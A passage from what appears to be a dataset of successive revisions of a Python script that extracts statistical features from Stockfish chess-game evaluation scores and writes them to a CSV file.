[]\nwhite_q2_min = []\nwhite_q3_min = []\nwhite_q4_min = []\nblack_q1_min = []\nblack_q2_min = []\nblack_q3_min = []\nblack_q4_min = []\nwhite_q1_stdev = []\nwhite_q2_stdev = []\nwhite_q3_stdev = []\nwhite_q4_stdev = []\nblack_q1_stdev = []\nblack_q2_stdev = []\nblack_q3_stdev = []\nblack_q4_stdev = []\nwhite_5_improve = []\nwhite_10_improve = []\nwhite_15_improve = []\nwhite_20_improve = []\nwhite_25_improve = []\nwhite_30_improve = []\nwhite_35_improve = []\nwhite_40_improve = []\nwhite_45_improve = []\nwhite_50_improve = []\nwhite_55_improve = []\nwhite_60_improve = []\nwhite_65_improve = []\nwhite_70_improve = []\nwhite_75_improve = []\nblack_5_improve = []\nblack_10_improve = []\nblack_15_improve = []\nblack_20_improve = []\nblack_25_improve = []\nblack_30_improve = []\nblack_35_improve = []\nblack_40_improve = []\nblack_45_improve = []\nblack_50_improve = []\nblack_55_improve = []\nblack_60_improve = []\nblack_65_improve = []\nblack_70_improve = []\nblack_75_improve = []\nfor game in raw_scores:\n game_len = len(game) + 1\n total = 0\n prev = None\n player = 1\n max_so_far = -100\n min_so_far = 100\n max_drop = 0\n max_gain = 0\n white_improve = [0]\n black_improve = [0]\n game_nums = [0]\n for score in game:\n if score != 'NA':\n score = int(score)\n game_nums.append(score)\n total += score\n if prev != None:\n change = score - prev\n if change < max_drop:\n max_drop = change\n if change > max_gain:\n max_gain = change\n if player == 1:\n black_improve.append(change)\n else:\n white_improve.append(change)\n player = abs(player - 1)\n prev = score\n if score > max_so_far:\n max_so_far = score\n if score < min_so_far:\n min_so_far = score\n white_avg = sum(white_improve) / (game_len / 2)\n black_avg = sum(black_improve) / (game_len / 2)\n game_length.append(game_len)\n average_score.append(total / game_len)\n score_stdev.append(np.std(np.array(game_nums)))\n largest_gain.append(max_gain)\n largest_drop.append(max_drop)\n max_score.append(max_so_far)\n min_score.append(min_so_far)\n white_avg_improve.append(white_avg)\n black_avg_improve.append(black_avg)\n white_median_improve.append(sorted(white_improve)[len(white_improve) // 2])\n black_median_improve.append(sorted(black_improve)[len(black_improve) // 2])\n white_q1_improve.append(sum(white_improve[0:len(white_improve) // 4]) /\n len(white_improve) // 4)\n white_q2_improve.append(sum(white_improve[len(white_improve) // 4:len(\n white_improve) // 4 * 2]) / len(white_improve) // 4)\n white_q3_improve.append(sum(white_improve[len(white_improve) // 4 * 2:\n len(white_improve) // 4 * 3]) / len(white_improve) // 4)\n white_q4_improve.append(sum(white_improve[len(white_improve) // 4 * 3:]\n ) / len(white_improve) // 4)\n black_q1_improve.append(sum(black_improve[0:len(black_improve) // 4]) /\n len(black_improve) // 4)\n black_q2_improve.append(sum(black_improve[len(black_improve) // 4:len(\n black_improve) // 4 * 2]) / len(black_improve) // 4)\n black_q3_improve.append(sum(black_improve[len(black_improve) // 4 * 2:\n len(black_improve) // 4 * 3]) / len(black_improve) // 4)\n black_q4_improve.append(sum(black_improve[len(black_improve) // 4 * 3:]\n ) / len(black_improve) // 4)\n white_q1_max.append(max(white_improve[0:1 + len(white_improve) // 4]))\n white_q2_max.append(max(white_improve[len(white_improve) // 4:1 + len(\n white_improve) // 4 * 2]))\n white_q3_max.append(max(white_improve[len(white_improve) // 4 * 2:1 + \n len(white_improve) // 4 * 3]))\n white_q4_max.append(max(white_improve[len(white_improve) // 4 * 3:]))\n black_q1_max.append(max(black_improve[0:1 + len(black_improve) // 4]))\n black_q2_max.append(max(black_improve[len(black_improve) // 4:1 + len(\n black_improve) // 4 * 2]))\n black_q3_max.append(max(black_improve[len(black_improve) // 4 * 2:1 + \n len(black_improve) // 4 * 3]))\n black_q4_max.append(max(black_improve[len(black_improve) // 4 * 3:]))\n white_q1_min.append(min(white_improve[0:1 + len(white_improve) // 4]))\n white_q2_min.append(min(white_improve[len(white_improve) // 4:1 + len(\n white_improve) // 4 * 2]))\n white_q3_min.append(min(white_improve[len(white_improve) // 4 * 2:1 + \n len(white_improve) // 4 * 3]))\n white_q4_min.append(min(white_improve[len(white_improve) // 4 * 3:]))\n black_q1_min.append(min(black_improve[0:1 + len(black_improve) // 4]))\n black_q2_min.append(min(black_improve[len(black_improve) // 4:1 + len(\n black_improve) // 4 * 2]))\n black_q3_min.append(min(black_improve[len(black_improve) // 4 * 2:1 + \n len(black_improve) // 4 * 3]))\n black_q4_min.append(min(black_improve[len(black_improve) // 4 * 3:]))\n white_q1_stdev.append(np.std(np.array(white_improve[0:len(white_improve\n ) // 4])))\n white_q2_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4:len(white_improve) // 4 * 2])))\n white_q3_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4 * 2:len(white_improve) // 4 * 3])))\n white_q4_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4 * 3:])))\n black_q1_stdev.append(np.std(np.array(black_improve[0:len(black_improve\n ) // 4])))\n black_q2_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4:len(black_improve) // 4 * 2])))\n black_q3_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4 * 2:len(black_improve) // 4 * 3])))\n black_q4_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4 * 3:])))\n if len(white_improve) >= 5:\n white_5_improve.append(sum(white_improve[0:5]) / 5)\n else:\n white_5_improve.append(white_avg)\n if len(white_improve) >= 10:\n white_10_improve.append(sum(white_improve[5:10]) / 5)\n else:\n white_10_improve.append(white_avg)\n if len(white_improve) >= 15:\n white_15_improve.append(sum(white_improve[10:15]) / 5)\n else:\n white_15_improve.append(white_avg)\n if len(white_improve) >= 20:\n white_20_improve.append(sum(white_improve[15:20]) / 5)\n else:\n white_20_improve.append(white_avg)\n if len(white_improve) >= 25:\n white_25_improve.append(sum(white_improve[20:25]) / 5)\n else:\n white_25_improve.append(white_avg)\n if len(white_improve) >= 30:\n white_30_improve.append(sum(white_improve[25:30]) / 5)\n else:\n white_30_improve.append(white_avg)\n if len(white_improve) >= 35:\n white_35_improve.append(sum(white_improve[30:35]) / 5)\n else:\n white_35_improve.append(white_avg)\n if len(white_improve) >= 40:\n white_40_improve.append(sum(white_improve[35:40]) / 5)\n else:\n white_40_improve.append(white_avg)\n if len(white_improve) >= 45:\n white_45_improve.append(sum(white_improve[40:45]) / 5)\n else:\n white_45_improve.append(white_avg)\n if len(white_improve) >= 50:\n white_50_improve.append(sum(white_improve[45:50]) / 5)\n else:\n white_50_improve.append(white_avg)\n if len(white_improve) >= 55:\n white_55_improve.append(sum(white_improve[50:55]) / 5)\n else:\n white_55_improve.append(white_avg)\n if len(white_improve) >= 60:\n white_60_improve.append(sum(white_improve[55:60]) / 5)\n else:\n white_60_improve.append(white_avg)\n if len(white_improve) >= 65:\n white_65_improve.append(sum(white_improve[60:65]) / 5)\n else:\n white_65_improve.append(white_avg)\n if len(white_improve) >= 70:\n white_70_improve.append(sum(white_improve[65:70]) / 5)\n else:\n white_70_improve.append(white_avg)\n if len(white_improve) >= 75:\n white_75_improve.append(sum(white_improve[70:75]) / 5)\n else:\n white_75_improve.append(white_avg)\n if len(black_improve) >= 5:\n black_5_improve.append(sum(black_improve[0:5]) / 5)\n else:\n black_5_improve.append(black_avg)\n if len(black_improve) >= 10:\n black_10_improve.append(sum(black_improve[5:10]) / 5)\n else:\n black_10_improve.append(black_avg)\n if len(black_improve) >= 15:\n black_15_improve.append(sum(black_improve[10:15]) / 5)\n else:\n black_15_improve.append(black_avg)\n if len(black_improve) >= 20:\n black_20_improve.append(sum(black_improve[15:20]) / 5)\n else:\n black_20_improve.append(black_avg)\n if len(black_improve) >= 25:\n black_25_improve.append(sum(black_improve[20:25]) / 5)\n else:\n black_25_improve.append(black_avg)\n if len(black_improve) >= 30:\n black_30_improve.append(sum(black_improve[25:30]) / 5)\n else:\n black_30_improve.append(black_avg)\n if len(black_improve) >= 35:\n black_35_improve.append(sum(black_improve[30:35]) / 5)\n else:\n black_35_improve.append(black_avg)\n if len(black_improve) >= 40:\n black_40_improve.append(sum(black_improve[35:40]) / 5)\n else:\n black_40_improve.append(black_avg)\n if len(black_improve) >= 45:\n black_45_improve.append(sum(black_improve[40:45]) / 5)\n else:\n black_45_improve.append(black_avg)\n if len(black_improve) >= 50:\n black_50_improve.append(sum(black_improve[45:50]) / 5)\n else:\n black_50_improve.append(black_avg)\n if len(black_improve) >= 55:\n black_55_improve.append(sum(black_improve[50:55]) / 5)\n else:\n black_55_improve.append(black_avg)\n if len(black_improve) >= 60:\n black_60_improve.append(sum(black_improve[55:60]) / 5)\n else:\n black_60_improve.append(black_avg)\n if len(black_improve) >= 65:\n black_65_improve.append(sum(black_improve[60:65]) / 5)\n else:\n black_65_improve.append(black_avg)\n if len(black_improve) >= 70:\n black_70_improve.append(sum(black_improve[65:70]) / 5)\n else:\n black_70_improve.append(black_avg)\n if len(black_improve) >= 75:\n black_75_improve.append(sum(black_improve[70:75]) / 5)\n else:\n black_75_improve.append(black_avg)\n if len(game_nums) > 10:\n game_score10.append(game_nums[10])\n else:\n game_score10.append(0)\n if len(game_nums) > 20:\n game_score20.append(game_nums[20])\n else:\n game_score20.append(0)\n if len(game_nums) > 30:\n game_score30.append(game_nums[30])\n else:\n game_score30.append(0)\n if len(game_nums) > 40:\n game_score40.append(game_nums[40])\n else:\n game_score40.append(0)\n if len(game_nums) > 50:\n game_score50.append(game_nums[50])\n else:\n game_score50.append(0)\n if len(game_nums) > 60:\n game_score60.append(game_nums[60])\n else:\n game_score60.append(0)\n if len(game_nums) > 70:\n game_score70.append(game_nums[70])\n else:\n game_score70.append(0)\n if len(game_nums) > 80:\n game_score80.append(game_nums[80])\n else:\n game_score80.append(0)\n if len(game_nums) > 90:\n game_score90.append(game_nums[90])\n else:\n game_score90.append(0)\n if len(game_nums) > 100:\n game_score100.append(game_nums[100])\n else:\n game_score100.append(0)\n if prev:\n ending_score.append(prev)\n else:\n ending_score.append(0)\nchess_dict = {'game_length': game_length, 'average_score': average_score,\n 'score_stdev': score_stdev, 'largest_gain': largest_gain,\n 'largest_drop': largest_drop, 'max_score': max_score, 'min_score':\n min_score, 'ending_score': ending_score, 'white_avg_improve':\n white_avg_improve, 'black_avg_improve': black_avg_improve,\n 'white_median_improve': white_median_improve, 'black_median_improve':\n black_median_improve, 'white_q1_improve': white_q1_improve,\n 'white_q2_improve': white_q2_improve, 'white_q3_improve':\n white_q3_improve, 'white_q4_improve': white_q4_improve,\n 'black_q1_improve': black_q1_improve, 'black_q2_improve':\n black_q2_improve, 'black_q3_improve': black_q3_improve,\n 'black_q4_improve': black_q4_improve, 'white_5_improve':\n white_5_improve, 'white_10_improve': white_10_improve,\n 'white_15_improve': white_15_improve, 'white_20_improve':\n white_20_improve, 'white_25_improve': white_25_improve,\n 'white_30_improve': white_30_improve, 'white_35_improve':\n white_35_improve, 'white_40_improve': white_40_improve,\n 'white_45_improve': white_45_improve, 'white_50_improve':\n white_50_improve, 'white_55_improve': white_55_improve,\n 'white_60_improve': white_60_improve, 'white_65_improve':\n white_65_improve, 'white_70_improve': white_70_improve,\n 'white_75_improve': white_75_improve, 'black_5_improve':\n black_5_improve, 'black_10_improve': black_10_improve,\n 'black_15_improve': black_15_improve, 'black_20_improve':\n black_20_improve, 'black_25_improve': black_25_improve,\n 'black_30_improve': black_30_improve, 'black_35_improve':\n black_35_improve, 'black_40_improve': black_40_improve,\n 'black_45_improve': black_45_improve, 'black_50_improve':\n black_50_improve, 'black_55_improve': black_55_improve,\n 'black_60_improve': black_60_improve, 'black_65_improve':\n black_65_improve, 'black_70_improve': black_70_improve,\n 'black_75_improve': black_75_improve, 'white_q1_max': white_q1_max,\n 'white_q2_max': white_q2_max, 'white_q3_max': white_q3_max,\n 'white_q4_max': white_q4_max, 'black_q1_max': black_q1_max,\n 'black_q2_max': black_q2_max, 'black_q3_max': black_q3_max,\n 'black_q4_max': black_q4_max, 'white_q1_min': white_q1_min,\n 'white_q2_min': white_q2_min, 'white_q3_min': white_q3_min,\n 'white_q4_min': white_q4_min, 'black_q1_min': black_q1_min,\n 'black_q2_min': black_q2_min, 'black_q3_min': black_q3_min,\n 'black_q4_min': black_q4_min, 'white_q1_stdev': white_q1_stdev,\n 'white_q2_stdev': white_q2_stdev, 'white_q3_stdev': white_q3_stdev,\n 'white_q4_stdev': white_q4_stdev, 'black_q1_stdev': black_q1_stdev,\n 'black_q2_stdev': black_q2_stdev, 'black_q3_stdev': black_q3_stdev,\n 'black_q4_stdev': black_q4_stdev, 'game_score10': game_score10,\n 'game_score20': game_score20, 'game_score30': game_score30,\n 'game_score40': game_score40, 'game_score50': game_score50,\n 'game_score60': game_score60, 'game_score70': game_score70,\n 'game_score80': game_score80, 'game_score90': game_score90,\n 'game_score100': game_score100}\nchess_df = pd.DataFrame(chess_dict, index=[x for x in range(1, 50001)])\nchess_df.index.name = 'Event'\nchess_df.to_csv('score_features.csv')\n", "step-4": "import numpy as np\nimport pandas as pd\nraw_scores = [line.strip().split(',')[1].split() for line in open(\n 'stockfish.csv')][1:]\ngame_length = []\naverage_score = []\nscore_stdev = []\nlargest_gain = []\nlargest_drop = []\nmax_score = []\nmin_score = []\nending_score = []\nwhite_avg_improve = []\nblack_avg_improve = []\nwhite_median_improve = []\nblack_median_improve = []\nwhite_q1_improve = []\nwhite_q2_improve = []\nwhite_q3_improve = []\nwhite_q4_improve = []\nblack_q1_improve = []\nblack_q2_improve = []\nblack_q3_improve = []\nblack_q4_improve = []\ngame_score10 = []\ngame_score20 = []\ngame_score30 = []\ngame_score40 = []\ngame_score50 = []\ngame_score60 = []\ngame_score70 = []\ngame_score80 = []\ngame_score90 = []\ngame_score100 = []\nwhite_q1_max = []\nwhite_q2_max = []\nwhite_q3_max = []\nwhite_q4_max = []\nblack_q1_max = []\nblack_q2_max = []\nblack_q3_max = []\nblack_q4_max = []\nwhite_q1_min = []\nwhite_q2_min = []\nwhite_q3_min = []\nwhite_q4_min = []\nblack_q1_min = []\nblack_q2_min = []\nblack_q3_min = []\nblack_q4_min = []\nwhite_q1_stdev = []\nwhite_q2_stdev = []\nwhite_q3_stdev = []\nwhite_q4_stdev = []\nblack_q1_stdev = []\nblack_q2_stdev = []\nblack_q3_stdev = []\nblack_q4_stdev = []\nwhite_5_improve = []\nwhite_10_improve = []\nwhite_15_improve = []\nwhite_20_improve = []\nwhite_25_improve = []\nwhite_30_improve = []\nwhite_35_improve = []\nwhite_40_improve = []\nwhite_45_improve = []\nwhite_50_improve = []\nwhite_55_improve = []\nwhite_60_improve = []\nwhite_65_improve = []\nwhite_70_improve = []\nwhite_75_improve = []\nblack_5_improve = []\nblack_10_improve = []\nblack_15_improve = []\nblack_20_improve = []\nblack_25_improve = []\nblack_30_improve = []\nblack_35_improve = []\nblack_40_improve = []\nblack_45_improve = []\nblack_50_improve = []\nblack_55_improve = []\nblack_60_improve = []\nblack_65_improve = []\nblack_70_improve = []\nblack_75_improve = []\nfor game in raw_scores:\n game_len = len(game) + 1\n total = 0\n prev = None\n player = 1\n max_so_far = -100\n min_so_far = 100\n max_drop = 0\n max_gain = 0\n white_improve = [0]\n black_improve = [0]\n game_nums = [0]\n for score in game:\n if score != 'NA':\n score = int(score)\n game_nums.append(score)\n total += score\n if prev != None:\n change = score - prev\n if change < max_drop:\n max_drop = change\n if change > max_gain:\n max_gain = change\n if player == 1:\n black_improve.append(change)\n else:\n white_improve.append(change)\n player = abs(player - 1)\n prev = score\n if score > max_so_far:\n max_so_far = score\n if score < min_so_far:\n min_so_far = score\n white_avg = sum(white_improve) / (game_len / 2)\n black_avg = sum(black_improve) / (game_len / 2)\n game_length.append(game_len)\n average_score.append(total / game_len)\n score_stdev.append(np.std(np.array(game_nums)))\n largest_gain.append(max_gain)\n largest_drop.append(max_drop)\n max_score.append(max_so_far)\n min_score.append(min_so_far)\n white_avg_improve.append(white_avg)\n black_avg_improve.append(black_avg)\n white_median_improve.append(sorted(white_improve)[len(white_improve) // 2])\n black_median_improve.append(sorted(black_improve)[len(black_improve) // 2])\n white_q1_improve.append(sum(white_improve[0:len(white_improve) // 4]) /\n len(white_improve) // 4)\n white_q2_improve.append(sum(white_improve[len(white_improve) // 4:len(\n white_improve) // 4 * 2]) / len(white_improve) // 4)\n white_q3_improve.append(sum(white_improve[len(white_improve) // 4 * 2:\n len(white_improve) // 4 * 3]) / len(white_improve) // 4)\n white_q4_improve.append(sum(white_improve[len(white_improve) // 4 * 3:]\n ) / len(white_improve) // 4)\n black_q1_improve.append(sum(black_improve[0:len(black_improve) // 4]) /\n len(black_improve) // 4)\n black_q2_improve.append(sum(black_improve[len(black_improve) // 4:len(\n black_improve) // 4 * 2]) / len(black_improve) // 4)\n black_q3_improve.append(sum(black_improve[len(black_improve) // 4 * 2:\n len(black_improve) // 4 * 3]) / len(black_improve) // 4)\n black_q4_improve.append(sum(black_improve[len(black_improve) // 4 * 3:]\n ) / len(black_improve) // 4)\n white_q1_max.append(max(white_improve[0:1 + len(white_improve) // 4]))\n white_q2_max.append(max(white_improve[len(white_improve) // 4:1 + len(\n white_improve) // 4 * 2]))\n white_q3_max.append(max(white_improve[len(white_improve) // 4 * 2:1 + \n len(white_improve) // 4 * 3]))\n white_q4_max.append(max(white_improve[len(white_improve) // 4 * 3:]))\n black_q1_max.append(max(black_improve[0:1 + len(black_improve) // 4]))\n black_q2_max.append(max(black_improve[len(black_improve) // 4:1 + len(\n black_improve) // 4 * 2]))\n black_q3_max.append(max(black_improve[len(black_improve) // 4 * 2:1 + \n len(black_improve) // 4 * 3]))\n black_q4_max.append(max(black_improve[len(black_improve) // 4 * 3:]))\n white_q1_min.append(min(white_improve[0:1 + len(white_improve) // 4]))\n white_q2_min.append(min(white_improve[len(white_improve) // 4:1 + len(\n white_improve) // 4 * 2]))\n white_q3_min.append(min(white_improve[len(white_improve) // 4 * 2:1 + \n len(white_improve) // 4 * 3]))\n white_q4_min.append(min(white_improve[len(white_improve) // 4 * 3:]))\n black_q1_min.append(min(black_improve[0:1 + len(black_improve) // 4]))\n black_q2_min.append(min(black_improve[len(black_improve) // 4:1 + len(\n black_improve) // 4 * 2]))\n black_q3_min.append(min(black_improve[len(black_improve) // 4 * 2:1 + \n len(black_improve) // 4 * 3]))\n black_q4_min.append(min(black_improve[len(black_improve) // 4 * 3:]))\n white_q1_stdev.append(np.std(np.array(white_improve[0:len(white_improve\n ) // 4])))\n white_q2_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4:len(white_improve) // 4 * 2])))\n white_q3_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4 * 2:len(white_improve) // 4 * 3])))\n white_q4_stdev.append(np.std(np.array(white_improve[len(white_improve) //\n 4 * 3:])))\n black_q1_stdev.append(np.std(np.array(black_improve[0:len(black_improve\n ) // 4])))\n black_q2_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4:len(black_improve) // 4 * 2])))\n black_q3_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4 * 2:len(black_improve) // 4 * 3])))\n black_q4_stdev.append(np.std(np.array(black_improve[len(black_improve) //\n 4 * 3:])))\n if len(white_improve) >= 5:\n white_5_improve.append(sum(white_improve[0:5]) / 5)\n else:\n white_5_improve.append(white_avg)\n if len(white_improve) >= 10:\n white_10_improve.append(sum(white_improve[5:10]) / 5)\n else:\n white_10_improve.append(white_avg)\n if len(white_improve) >= 15:\n white_15_improve.append(sum(white_improve[10:15]) / 5)\n else:\n white_15_improve.append(white_avg)\n if len(white_improve) >= 20:\n white_20_improve.append(sum(white_improve[15:20]) / 5)\n else:\n white_20_improve.append(white_avg)\n if len(white_improve) >= 25:\n white_25_improve.append(sum(white_improve[20:25]) / 5)\n else:\n white_25_improve.append(white_avg)\n if len(white_improve) >= 30:\n white_30_improve.append(sum(white_improve[25:30]) / 5)\n else:\n white_30_improve.append(white_avg)\n if len(white_improve) >= 35:\n white_35_improve.append(sum(white_improve[30:35]) / 5)\n else:\n white_35_improve.append(white_avg)\n if len(white_improve) >= 40:\n white_40_improve.append(sum(white_improve[35:40]) / 5)\n else:\n white_40_improve.append(white_avg)\n if len(white_improve) >= 45:\n white_45_improve.append(sum(white_improve[40:45]) / 5)\n else:\n white_45_improve.append(white_avg)\n if len(white_improve) >= 50:\n white_50_improve.append(sum(white_improve[45:50]) / 5)\n else:\n white_50_improve.append(white_avg)\n if len(white_improve) >= 55:\n white_55_improve.append(sum(white_improve[50:55]) / 5)\n else:\n white_55_improve.append(white_avg)\n if len(white_improve) >= 60:\n white_60_improve.append(sum(white_improve[55:60]) / 5)\n else:\n white_60_improve.append(white_avg)\n if len(white_improve) >= 65:\n white_65_improve.append(sum(white_improve[60:65]) / 5)\n else:\n white_65_improve.append(white_avg)\n if len(white_improve) >= 70:\n white_70_improve.append(sum(white_improve[65:70]) / 5)\n else:\n white_70_improve.append(white_avg)\n if len(white_improve) >= 75:\n white_75_improve.append(sum(white_improve[70:75]) / 5)\n else:\n white_75_improve.append(white_avg)\n if len(black_improve) >= 5:\n black_5_improve.append(sum(black_improve[0:5]) / 5)\n else:\n black_5_improve.append(black_avg)\n if len(black_improve) >= 10:\n black_10_improve.append(sum(black_improve[5:10]) / 5)\n else:\n black_10_improve.append(black_avg)\n if len(black_improve) >= 15:\n black_15_improve.append(sum(black_improve[10:15]) / 5)\n else:\n black_15_improve.append(black_avg)\n if len(black_improve) >= 20:\n black_20_improve.append(sum(black_improve[15:20]) / 5)\n else:\n black_20_improve.append(black_avg)\n if len(black_improve) >= 25:\n black_25_improve.append(sum(black_improve[20:25]) / 5)\n else:\n black_25_improve.append(black_avg)\n if len(black_improve) >= 30:\n black_30_improve.append(sum(black_improve[25:30]) / 5)\n else:\n black_30_improve.append(black_avg)\n if len(black_improve) >= 35:\n black_35_improve.append(sum(black_improve[30:35]) / 5)\n else:\n black_35_improve.append(black_avg)\n if len(black_improve) >= 40:\n black_40_improve.append(sum(black_improve[35:40]) / 5)\n else:\n black_40_improve.append(black_avg)\n if len(black_improve) >= 45:\n black_45_improve.append(sum(black_improve[40:45]) / 5)\n else:\n black_45_improve.append(black_avg)\n if len(black_improve) >= 50:\n black_50_improve.append(sum(black_improve[45:50]) / 5)\n else:\n black_50_improve.append(black_avg)\n if len(black_improve) >= 55:\n black_55_improve.append(sum(black_improve[50:55]) / 5)\n else:\n black_55_improve.append(black_avg)\n if len(black_improve) >= 60:\n black_60_improve.append(sum(black_improve[55:60]) / 5)\n else:\n black_60_improve.append(black_avg)\n if len(black_improve) >= 65:\n black_65_improve.append(sum(black_improve[60:65]) / 5)\n else:\n black_65_improve.append(black_avg)\n if len(black_improve) >= 70:\n black_70_improve.append(sum(black_improve[65:70]) / 5)\n else:\n black_70_improve.append(black_avg)\n if len(black_improve) >= 75:\n black_75_improve.append(sum(black_improve[70:75]) / 5)\n else:\n black_75_improve.append(black_avg)\n if len(game_nums) > 10:\n game_score10.append(game_nums[10])\n else:\n game_score10.append(0)\n if len(game_nums) > 20:\n game_score20.append(game_nums[20])\n else:\n game_score20.append(0)\n if len(game_nums) > 30:\n game_score30.append(game_nums[30])\n else:\n game_score30.append(0)\n if len(game_nums) > 40:\n game_score40.append(game_nums[40])\n else:\n game_score40.append(0)\n if len(game_nums) > 50:\n game_score50.append(game_nums[50])\n else:\n game_score50.append(0)\n if len(game_nums) > 60:\n game_score60.append(game_nums[60])\n else:\n game_score60.append(0)\n if len(game_nums) > 70:\n game_score70.append(game_nums[70])\n else:\n game_score70.append(0)\n if len(game_nums) > 80:\n game_score80.append(game_nums[80])\n else:\n game_score80.append(0)\n if len(game_nums) > 90:\n game_score90.append(game_nums[90])\n else:\n game_score90.append(0)\n if len(game_nums) > 100:\n game_score100.append(game_nums[100])\n else:\n game_score100.append(0)\n if prev:\n ending_score.append(prev)\n else:\n ending_score.append(0)\nchess_dict = {'game_length': game_length, 'average_score': average_score,\n 'score_stdev': score_stdev, 'largest_gain': largest_gain,\n 'largest_drop': largest_drop, 'max_score': max_score, 'min_score':\n min_score, 'ending_score': ending_score, 'white_avg_improve':\n white_avg_improve, 'black_avg_improve': black_avg_improve,\n 'white_median_improve': white_median_improve, 'black_median_improve':\n black_median_improve, 'white_q1_improve': white_q1_improve,\n 'white_q2_improve': white_q2_improve, 'white_q3_improve':\n white_q3_improve, 'white_q4_improve': white_q4_improve,\n 'black_q1_improve': black_q1_improve, 'black_q2_improve':\n black_q2_improve, 'black_q3_improve': black_q3_improve,\n 'black_q4_improve': black_q4_improve, 'white_5_improve':\n white_5_improve, 'white_10_improve': white_10_improve,\n 'white_15_improve': white_15_improve, 'white_20_improve':\n white_20_improve, 'white_25_improve': white_25_improve,\n 'white_30_improve': white_30_improve, 'white_35_improve':\n white_35_improve, 'white_40_improve': white_40_improve,\n 'white_45_improve': white_45_improve, 'white_50_improve':\n white_50_improve, 'white_55_improve': white_55_improve,\n 'white_60_improve': white_60_improve, 'white_65_improve':\n white_65_improve, 'white_70_improve': white_70_improve,\n 'white_75_improve': white_75_improve, 'black_5_improve':\n black_5_improve, 'black_10_improve': black_10_improve,\n 'black_15_improve': black_15_improve, 'black_20_improve':\n black_20_improve, 'black_25_improve': black_25_improve,\n 'black_30_improve': black_30_improve, 'black_35_improve':\n black_35_improve, 'black_40_improve': black_40_improve,\n 'black_45_improve': black_45_improve, 'black_50_improve':\n black_50_improve, 'black_55_improve': black_55_improve,\n 'black_60_improve': black_60_improve, 'black_65_improve':\n black_65_improve, 'black_70_improve': black_70_improve,\n 'black_75_improve': black_75_improve, 'white_q1_max': white_q1_max,\n 'white_q2_max': white_q2_max, 'white_q3_max': white_q3_max,\n 'white_q4_max': white_q4_max, 'black_q1_max': black_q1_max,\n 'black_q2_max': black_q2_max, 'black_q3_max': black_q3_max,\n 'black_q4_max': black_q4_max, 'white_q1_min': white_q1_min,\n 'white_q2_min': white_q2_min, 'white_q3_min': white_q3_min,\n 'white_q4_min': white_q4_min, 'black_q1_min': black_q1_min,\n 'black_q2_min': black_q2_min, 'black_q3_min': black_q3_min,\n 'black_q4_min': black_q4_min, 'white_q1_stdev': white_q1_stdev,\n 'white_q2_stdev': white_q2_stdev, 'white_q3_stdev': white_q3_stdev,\n 'white_q4_stdev': white_q4_stdev, 'black_q1_stdev': black_q1_stdev,\n 'black_q2_stdev': black_q2_stdev, 'black_q3_stdev': black_q3_stdev,\n 'black_q4_stdev': black_q4_stdev, 'game_score10': game_score10,\n 'game_score20': game_score20, 'game_score30': game_score30,\n 'game_score40': game_score40, 'game_score50': game_score50,\n 'game_score60': game_score60, 'game_score70': game_score70,\n 'game_score80': game_score80, 'game_score90': game_score90,\n 'game_score100': game_score100}\nchess_df = pd.DataFrame(chess_dict, index=[x for x in range(1, 50001)])\nchess_df.index.name = 'Event'\nchess_df.to_csv('score_features.csv')\n", "step-5": "#Script to extract features from chess score data file stockfish.csv\nimport numpy as np\nimport pandas as pd\n\n#Load in and format raw chess game scoring data\nraw_scores = [line.strip().split(\",\")[1].split() for line in open(\"stockfish.csv\")][1:]\n\n#Initialize containers for features to extract\ngame_length = []\naverage_score = []\nscore_stdev = []\nlargest_gain = []\nlargest_drop = []\nmax_score = []\nmin_score = []\nending_score = []\nwhite_avg_improve = []\nblack_avg_improve = []\nwhite_median_improve = []\nblack_median_improve = []\nwhite_q1_improve =[]\nwhite_q2_improve =[]\nwhite_q3_improve =[]\nwhite_q4_improve =[]\nblack_q1_improve =[]\nblack_q2_improve =[]\nblack_q3_improve =[]\nblack_q4_improve =[]\n\ngame_score10 = []\ngame_score20 = []\ngame_score30 = []\ngame_score40 = []\ngame_score50 = []\ngame_score60 = []\ngame_score70 = []\ngame_score80 = []\ngame_score90 = []\ngame_score100 = []\n\nwhite_q1_max =[]\nwhite_q2_max =[]\nwhite_q3_max =[]\nwhite_q4_max =[]\nblack_q1_max =[]\nblack_q2_max =[]\nblack_q3_max =[]\nblack_q4_max =[]\n\nwhite_q1_min =[]\nwhite_q2_min =[]\nwhite_q3_min =[]\nwhite_q4_min =[]\nblack_q1_min =[]\nblack_q2_min =[]\nblack_q3_min =[]\nblack_q4_min =[]\n\nwhite_q1_stdev =[]\nwhite_q2_stdev =[]\nwhite_q3_stdev =[]\nwhite_q4_stdev =[]\nblack_q1_stdev =[]\nblack_q2_stdev =[]\nblack_q3_stdev =[]\nblack_q4_stdev =[]\n\nwhite_5_improve = []\nwhite_10_improve = []\nwhite_15_improve = []\nwhite_20_improve = []\nwhite_25_improve = []\nwhite_30_improve = []\nwhite_35_improve = []\nwhite_40_improve = []\nwhite_45_improve = []\nwhite_50_improve = []\nwhite_55_improve = []\nwhite_60_improve = []\nwhite_65_improve = []\nwhite_70_improve = []\nwhite_75_improve = []\n\nblack_5_improve = []\nblack_10_improve = []\nblack_15_improve = []\nblack_20_improve = []\nblack_25_improve = []\nblack_30_improve = []\nblack_35_improve = []\nblack_40_improve = []\nblack_45_improve = []\nblack_50_improve = []\nblack_55_improve = []\nblack_60_improve = []\nblack_65_improve = []\nblack_70_improve = []\nblack_75_improve = []\n\n\n#Loop through game data, calculate and append new features to feature containers\nfor game in raw_scores:\n game_len = len(game)+1 # Add 1 to game length to avoid divide by zero errors caused by empty games\n total = 0\n prev = None\n player = 1\n max_so_far = -100\n min_so_far = 100\n max_drop = 0\n max_gain = 0\n white_improve = [0]\n black_improve = [0]\n game_nums = [0]\n for score in game:\n if score != \"NA\":\n score = int(score)\n game_nums.append(score)\n total+=score\n if prev != None:\n change = score - prev\n if change < max_drop:\n max_drop = change\n if change > max_gain:\n max_gain = change\n if player == 1:\n black_improve.append(change)\n else:\n white_improve.append(change)\n player = abs(player-1)\n prev = score\n if score > max_so_far:\n max_so_far = score\n if score < min_so_far:\n min_so_far = score\n\n #Add computed values to feature containers\n 